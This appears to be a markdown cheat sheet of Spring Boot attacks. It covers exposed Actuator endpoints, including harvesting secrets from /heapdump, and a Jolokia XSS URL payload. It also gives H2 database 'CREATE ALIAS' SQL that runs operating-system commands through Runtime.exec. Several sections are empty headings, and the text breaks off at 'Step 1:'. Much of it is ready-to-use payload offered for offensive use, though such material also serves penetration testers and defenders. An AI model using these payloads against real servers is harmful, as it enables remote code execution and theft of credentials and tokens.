# Spring Boot Vulnerability (Keep On Updating)
### 0x01 Spring Boot Actuator Exposed
Actuator endpoints allow you to monitor and interact with your Spring application. Spring Boot includes a number of built-in endpoints and you can also add your own. For example the health endpoint provides basic application health information. The following endpoints are available:
* ##### /autoconfig - Displays an auto-configuration report showing all auto-configuration candidates and the reason why they 'were' or 'were not' applied.
* ##### /beans - Displays a complete list of all the Spring beans in your application.
* ##### /configprops - Displays a collated list of all @ConfigurationProperties.
* ##### /dump - Performs a thread dump.
* ##### /heapdump - JVM heap dump information. Actually it is a binary file, you can utilize the tool named ``MemoryAnalyzer`` to analyze the file. Sometimes in this file maybe you can find ``PASSWORD / ACCESS_KEY / COOKIES / ACCESS_TOKEN`` or some sensitive information.
* ##### /env - Exposes properties from Spring's ConfigurableEnvironment.
* ##### /health - Shows application health information (a simple 'status' when accessed over an unauthenticated connection or full message details when authenticated).
* ##### /info - Displays arbitrary application info.
* ##### /metrics - Shows 'metrics' information for the current application.
* ##### /mappings - Displays a collated list of all @RequestMapping paths.
* ##### /shutdown - Allows the application to be gracefully shutdown (not enabled by default).
* ##### /pause - Allows the application to be gracefully pause (not enabled by default).
* ##### /resume - Allows the application to be gracefully resume (not enabled by default).
* ##### /trace - Displays trace information (by default the last few HTTP requests).
### 0x02 Spring Boot RCE/XSS involving Jolokia
#### 0x001 Jolokia RCE
#### 0x002 Jolokia XSS fixed since Jolokia ``1.5.0`` (CVE-2018-1000129)
pom.xml
```
org.jolokia
jolokia-core
1.4.0
```
When visiting URL ``http://127.0.0.1:10090/actuator/jolokia/read%3Csvg%20onload=alert('xss')%3E?mimeType=text/html``
### 0x03 Spring Boot RCE involving H2 Database JNDI Injection
pom.xml
```
org.springframework.boot
spring-boot-starter-data-jpa
2.2.6.RELEASE
com.h2database
h2
runtime
1.4.2
```
application.properties
```
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
```
You can visit ``/actutor/env`` to make sure ``H2 Console`` is enabled.
##### Example 1: Execute ``open -a Calculator`` Command
### 0x04 Spring Boot RCE involving H2 Database ``ALIAS`` Command
##### Example 1: Execute ``id`` Command
```
CREATE ALIAS EXECMD AS $$ String execmd(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
CALL EXECMD('id')
```
##### Example 2: Execute ``open -a Calculator`` Command
```
CREATE ALIAS EXECMD AS $$ String execmd(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd);return null; }$$;
CALL EXECMD('open -a Calculator');
```
### 0x05 Spring Boot RCE involving JMX enabled
When visiting URL ``http://127.0.0.1:10090/actuator/env/spring.jmx.enabled``, you will find JMX is enabled.
##### Example 1: Execute ``open -a Calculator`` Command
### 0x06 Spring Boot RCE involving H2 Database
#### 0x001 Remote Code Execution via ``spring.datasource.hikari.connection-test-query``or``spring.datasource.hikari.connection-init-sql``
##### Example 1: ``spring.datasource.hikari.connection-init-sql``
Step 1:
```
